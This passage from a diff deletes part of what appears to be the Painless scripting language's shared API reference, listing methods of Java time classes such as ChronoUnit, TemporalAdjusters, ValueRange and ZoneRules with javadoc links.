-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* TemporalUnit {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#getBaseUnit()[getBaseUnit]()
-* null {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#getDisplayName(java.util.Locale)[getDisplayName](Locale)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#getFrom(java.time.temporal.TemporalAccessor)[getFrom](TemporalAccessor)
-* TemporalUnit {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#getRangeUnit()[getRangeUnit]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#isDateBased()[isDateBased]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#isSupportedBy(java.time.temporal.TemporalAccessor)[isSupportedBy](TemporalAccessor)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#isTimeBased()[isTimeBased]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#range()[range]()
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#rangeRefinedBy(java.time.temporal.TemporalAccessor)[rangeRefinedBy](TemporalAccessor)
-* TemporalAccessor {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#resolve(java.util.Map,java.time.temporal.TemporalAccessor,java.time.format.ResolverStyle)[resolve](Map, TemporalAccessor, ResolverStyle)
-* null {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ChronoUnit]]
-==== ChronoUnit
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#CENTURIES[CENTURIES]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#DAYS[DAYS]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#DECADES[DECADES]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#ERAS[ERAS]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#FOREVER[FOREVER]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#HALF_DAYS[HALF_DAYS]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#HOURS[HOURS]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#MICROS[MICROS]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#MILLENNIA[MILLENNIA]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#MILLIS[MILLIS]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#MINUTES[MINUTES]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#MONTHS[MONTHS]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#NANOS[NANOS]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#SECONDS[SECONDS]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#WEEKS[WEEKS]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#YEARS[YEARS]
-* static ChronoUnit {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#valueOf(java.lang.String)[valueOf](null)
-* static ChronoUnit[] {java11-javadoc}/java.base/java/time/temporal/ChronoUnit.html#values()[values]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#addTo(java.time.temporal.Temporal,long)[addTo](Temporal, long)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#between(java.time.temporal.Temporal,java.time.temporal.Temporal)[between](Temporal, Temporal)
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* Duration {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#getDuration()[getDuration]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#isDateBased()[isDateBased]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#isDurationEstimated()[isDurationEstimated]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#isSupportedBy(java.time.temporal.Temporal)[isSupportedBy](Temporal)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#isTimeBased()[isTimeBased]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IsoFields]]
-==== IsoFields
-* static TemporalField {java11-javadoc}/java.base/java/time/temporal/IsoFields.html#DAY_OF_QUARTER[DAY_OF_QUARTER]
-* static TemporalField {java11-javadoc}/java.base/java/time/temporal/IsoFields.html#QUARTER_OF_YEAR[QUARTER_OF_YEAR]
-* static TemporalUnit {java11-javadoc}/java.base/java/time/temporal/IsoFields.html#QUARTER_YEARS[QUARTER_YEARS]
-* static TemporalField {java11-javadoc}/java.base/java/time/temporal/IsoFields.html#WEEK_BASED_YEAR[WEEK_BASED_YEAR]
-* static TemporalUnit {java11-javadoc}/java.base/java/time/temporal/IsoFields.html#WEEK_BASED_YEARS[WEEK_BASED_YEARS]
-* static TemporalField {java11-javadoc}/java.base/java/time/temporal/IsoFields.html#WEEK_OF_WEEK_BASED_YEAR[WEEK_OF_WEEK_BASED_YEAR]
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-JulianFields]]
-==== JulianFields
-* static TemporalField {java11-javadoc}/java.base/java/time/temporal/JulianFields.html#JULIAN_DAY[JULIAN_DAY]
-* static TemporalField {java11-javadoc}/java.base/java/time/temporal/JulianFields.html#MODIFIED_JULIAN_DAY[MODIFIED_JULIAN_DAY]
-* static TemporalField {java11-javadoc}/java.base/java/time/temporal/JulianFields.html#RATA_DIE[RATA_DIE]
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Temporal]]
-==== Temporal
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/Temporal.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/Temporal.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/Temporal.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/Temporal.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/Temporal.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/Temporal.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-
-
-[[painless-api-reference-shared-TemporalAccessor]]
-==== TemporalAccessor
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-TemporalAdjuster]]
-==== TemporalAdjuster
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-TemporalAdjusters]]
-==== TemporalAdjusters
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#dayOfWeekInMonth(int,java.time.DayOfWeek)[dayOfWeekInMonth](int, DayOfWeek)
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#firstDayOfMonth()[firstDayOfMonth]()
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#firstDayOfNextMonth()[firstDayOfNextMonth]()
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#firstDayOfNextYear()[firstDayOfNextYear]()
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#firstDayOfYear()[firstDayOfYear]()
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#firstInMonth(java.time.DayOfWeek)[firstInMonth](DayOfWeek)
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#lastDayOfMonth()[lastDayOfMonth]()
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#lastDayOfYear()[lastDayOfYear]()
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#lastInMonth(java.time.DayOfWeek)[lastInMonth](DayOfWeek)
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#next(java.time.DayOfWeek)[next](DayOfWeek)
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#nextOrSame(java.time.DayOfWeek)[nextOrSame](DayOfWeek)
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#ofDateAdjuster(java.util.function.UnaryOperator)[ofDateAdjuster](UnaryOperator)
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#previous(java.time.DayOfWeek)[previous](DayOfWeek)
-* static TemporalAdjuster {java11-javadoc}/java.base/java/time/temporal/TemporalAdjusters.html#previousOrSame(java.time.DayOfWeek)[previousOrSame](DayOfWeek)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-TemporalAmount]]
-==== TemporalAmount
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#addTo(java.time.temporal.Temporal)[addTo](Temporal)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#get(java.time.temporal.TemporalUnit)[get](TemporalUnit)
-* List {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#getUnits()[getUnits]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#subtractFrom(java.time.temporal.Temporal)[subtractFrom](Temporal)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-TemporalField]]
-==== TemporalField
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#adjustInto(java.time.temporal.Temporal,long)[adjustInto](Temporal, long)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* TemporalUnit {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#getBaseUnit()[getBaseUnit]()
-* null {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#getDisplayName(java.util.Locale)[getDisplayName](Locale)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#getFrom(java.time.temporal.TemporalAccessor)[getFrom](TemporalAccessor)
-* TemporalUnit {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#getRangeUnit()[getRangeUnit]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#isDateBased()[isDateBased]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#isSupportedBy(java.time.temporal.TemporalAccessor)[isSupportedBy](TemporalAccessor)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#isTimeBased()[isTimeBased]()
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#range()[range]()
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#rangeRefinedBy(java.time.temporal.TemporalAccessor)[rangeRefinedBy](TemporalAccessor)
-* TemporalAccessor {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#resolve(java.util.Map,java.time.temporal.TemporalAccessor,java.time.format.ResolverStyle)[resolve](Map, TemporalAccessor, ResolverStyle)
-* null {java11-javadoc}/java.base/java/time/temporal/TemporalField.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-TemporalQueries]]
-==== TemporalQueries
-* static TemporalQuery {java11-javadoc}/java.base/java/time/temporal/TemporalQueries.html#chronology()[chronology]()
-* static TemporalQuery {java11-javadoc}/java.base/java/time/temporal/TemporalQueries.html#localDate()[localDate]()
-* static TemporalQuery {java11-javadoc}/java.base/java/time/temporal/TemporalQueries.html#localTime()[localTime]()
-* static TemporalQuery {java11-javadoc}/java.base/java/time/temporal/TemporalQueries.html#offset()[offset]()
-* static TemporalQuery {java11-javadoc}/java.base/java/time/temporal/TemporalQueries.html#precision()[precision]()
-* static TemporalQuery {java11-javadoc}/java.base/java/time/temporal/TemporalQueries.html#zone()[zone]()
-* static TemporalQuery {java11-javadoc}/java.base/java/time/temporal/TemporalQueries.html#zoneId()[zoneId]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-TemporalQuery]]
-==== TemporalQuery
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalQuery.html#queryFrom(java.time.temporal.TemporalAccessor)[queryFrom](TemporalAccessor)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-TemporalUnit]]
-==== TemporalUnit
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#addTo(java.time.temporal.Temporal,long)[addTo](Temporal, long)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#between(java.time.temporal.Temporal,java.time.temporal.Temporal)[between](Temporal, Temporal)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* Duration {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#getDuration()[getDuration]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#isDateBased()[isDateBased]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#isDurationEstimated()[isDurationEstimated]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#isSupportedBy(java.time.temporal.Temporal)[isSupportedBy](Temporal)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#isTimeBased()[isTimeBased]()
-* null {java11-javadoc}/java.base/java/time/temporal/TemporalUnit.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-UnsupportedTemporalTypeException]]
-==== UnsupportedTemporalTypeException
-* {java11-javadoc}/java.base/java/time/temporal/UnsupportedTemporalTypeException.html#<init>(java.lang.String)[UnsupportedTemporalTypeException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ValueRange]]
-==== ValueRange
-* static ValueRange {java11-javadoc}/java.base/java/time/temporal/ValueRange.html#of(long,long)[of](long, long)
-* static ValueRange {java11-javadoc}/java.base/java/time/temporal/ValueRange.html#of(long,long,long)[of](long, long, long)
-* static ValueRange {java11-javadoc}/java.base/java/time/temporal/ValueRange.html#of(long,long,long,long)[of](long, long, long, long)
-* int {java11-javadoc}/java.base/java/time/temporal/ValueRange.html#checkValidIntValue(long,java.time.temporal.TemporalField)[checkValidIntValue](long, TemporalField)
-* long {java11-javadoc}/java.base/java/time/temporal/ValueRange.html#checkValidValue(long,java.time.temporal.TemporalField)[checkValidValue](long, TemporalField)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/time/temporal/ValueRange.html#getLargestMinimum()[getLargestMinimum]()
-* long {java11-javadoc}/java.base/java/time/temporal/ValueRange.html#getMaximum()[getMaximum]()
-* long {java11-javadoc}/java.base/java/time/temporal/ValueRange.html#getMinimum()[getMinimum]()
-* long {java11-javadoc}/java.base/java/time/temporal/ValueRange.html#getSmallestMaximum()[getSmallestMaximum]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/ValueRange.html#isFixed()[isFixed]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/ValueRange.html#isIntValue()[isIntValue]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/ValueRange.html#isValidIntValue(long)[isValidIntValue](long)
-* boolean {java11-javadoc}/java.base/java/time/temporal/ValueRange.html#isValidValue(long)[isValidValue](long)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-WeekFields]]
-==== WeekFields
-* static WeekFields {java11-javadoc}/java.base/java/time/temporal/WeekFields.html#ISO[ISO]
-* static WeekFields {java11-javadoc}/java.base/java/time/temporal/WeekFields.html#SUNDAY_START[SUNDAY_START]
-* static TemporalUnit {java11-javadoc}/java.base/java/time/temporal/WeekFields.html#WEEK_BASED_YEARS[WEEK_BASED_YEARS]
-* static WeekFields {java11-javadoc}/java.base/java/time/temporal/WeekFields.html#of(java.util.Locale)[of](Locale)
-* static WeekFields {java11-javadoc}/java.base/java/time/temporal/WeekFields.html#of(java.time.DayOfWeek,int)[of](DayOfWeek, int)
-* TemporalField {java11-javadoc}/java.base/java/time/temporal/WeekFields.html#dayOfWeek()[dayOfWeek]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* DayOfWeek {java11-javadoc}/java.base/java/time/temporal/WeekFields.html#getFirstDayOfWeek()[getFirstDayOfWeek]()
-* int {java11-javadoc}/java.base/java/time/temporal/WeekFields.html#getMinimalDaysInFirstWeek()[getMinimalDaysInFirstWeek]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* TemporalField {java11-javadoc}/java.base/java/time/temporal/WeekFields.html#weekBasedYear()[weekBasedYear]()
-* TemporalField {java11-javadoc}/java.base/java/time/temporal/WeekFields.html#weekOfMonth()[weekOfMonth]()
-* TemporalField {java11-javadoc}/java.base/java/time/temporal/WeekFields.html#weekOfWeekBasedYear()[weekOfWeekBasedYear]()
-* TemporalField {java11-javadoc}/java.base/java/time/temporal/WeekFields.html#weekOfYear()[weekOfYear]()
-
-
-[role="exclude",id="painless-api-reference-shared-java-time-zone"]
-=== Shared API for package java.time.zone
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-ZoneOffsetTransition]]
-==== ZoneOffsetTransition
-* static ZoneOffsetTransition {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransition.html#of(java.time.LocalDateTime,java.time.ZoneOffset,java.time.ZoneOffset)[of](LocalDateTime, ZoneOffset, ZoneOffset)
-* int {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransition.html#compareTo(java.time.zone.ZoneOffsetTransition)[compareTo](ZoneOffsetTransition)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* LocalDateTime {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransition.html#getDateTimeAfter()[getDateTimeAfter]()
-* LocalDateTime {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransition.html#getDateTimeBefore()[getDateTimeBefore]()
-* Duration {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransition.html#getDuration()[getDuration]()
-* Instant {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransition.html#getInstant()[getInstant]()
-* ZoneOffset {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransition.html#getOffsetAfter()[getOffsetAfter]()
-* ZoneOffset {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransition.html#getOffsetBefore()[getOffsetBefore]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransition.html#isGap()[isGap]()
-* boolean {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransition.html#isOverlap()[isOverlap]()
-* boolean {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransition.html#isValidOffset(java.time.ZoneOffset)[isValidOffset](ZoneOffset)
-* long {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransition.html#toEpochSecond()[toEpochSecond]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ZoneOffsetTransitionRule]]
-==== ZoneOffsetTransitionRule
-* static ZoneOffsetTransitionRule {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule.html#of(java.time.Month,int,java.time.DayOfWeek,java.time.LocalTime,boolean,java.time.zone.ZoneOffsetTransitionRule$TimeDefinition,java.time.ZoneOffset,java.time.ZoneOffset,java.time.ZoneOffset)[of](Month, int, DayOfWeek, LocalTime, boolean, ZoneOffsetTransitionRule.TimeDefinition, ZoneOffset, ZoneOffset, ZoneOffset)
-* ZoneOffsetTransition {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule.html#createTransition(int)[createTransition](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule.html#getDayOfMonthIndicator()[getDayOfMonthIndicator]()
-* DayOfWeek {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule.html#getDayOfWeek()[getDayOfWeek]()
-* LocalTime {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule.html#getLocalTime()[getLocalTime]()
-* Month {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule.html#getMonth()[getMonth]()
-* ZoneOffset {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule.html#getOffsetAfter()[getOffsetAfter]()
-* ZoneOffset {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule.html#getOffsetBefore()[getOffsetBefore]()
-* ZoneOffset {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule.html#getStandardOffset()[getStandardOffset]()
-* ZoneOffsetTransitionRule.TimeDefinition {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule.html#getTimeDefinition()[getTimeDefinition]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule.html#isMidnightEndOfDay()[isMidnightEndOfDay]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ZoneOffsetTransitionRule-TimeDefinition]]
-==== ZoneOffsetTransitionRule.TimeDefinition
-* static ZoneOffsetTransitionRule.TimeDefinition {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule$TimeDefinition.html#STANDARD[STANDARD]
-* static ZoneOffsetTransitionRule.TimeDefinition {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule$TimeDefinition.html#UTC[UTC]
-* static ZoneOffsetTransitionRule.TimeDefinition {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule$TimeDefinition.html#WALL[WALL]
-* static ZoneOffsetTransitionRule.TimeDefinition {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule$TimeDefinition.html#valueOf(java.lang.String)[valueOf](null)
-* static ZoneOffsetTransitionRule.TimeDefinition[] {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule$TimeDefinition.html#values()[values]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* LocalDateTime {java11-javadoc}/java.base/java/time/zone/ZoneOffsetTransitionRule$TimeDefinition.html#createDateTime(java.time.LocalDateTime,java.time.ZoneOffset,java.time.ZoneOffset)[createDateTime](LocalDateTime, ZoneOffset, ZoneOffset)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ZoneRules]]
-==== ZoneRules
-* static ZoneRules {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#of(java.time.ZoneOffset)[of](ZoneOffset)
-* static ZoneRules {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#of(java.time.ZoneOffset,java.time.ZoneOffset,java.util.List,java.util.List,java.util.List)[of](ZoneOffset, ZoneOffset, List, List, List)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* Duration {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#getDaylightSavings(java.time.Instant)[getDaylightSavings](Instant)
-* ZoneOffset {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#getOffset(java.time.Instant)[getOffset](Instant)
-* ZoneOffset {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#getStandardOffset(java.time.Instant)[getStandardOffset](Instant)
-* ZoneOffsetTransition {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#getTransition(java.time.LocalDateTime)[getTransition](LocalDateTime)
-* List {java11-javadoc}/java.base/java/time/zone/ZoneRules.html#getTransitionRules()[getTransitionRules]()
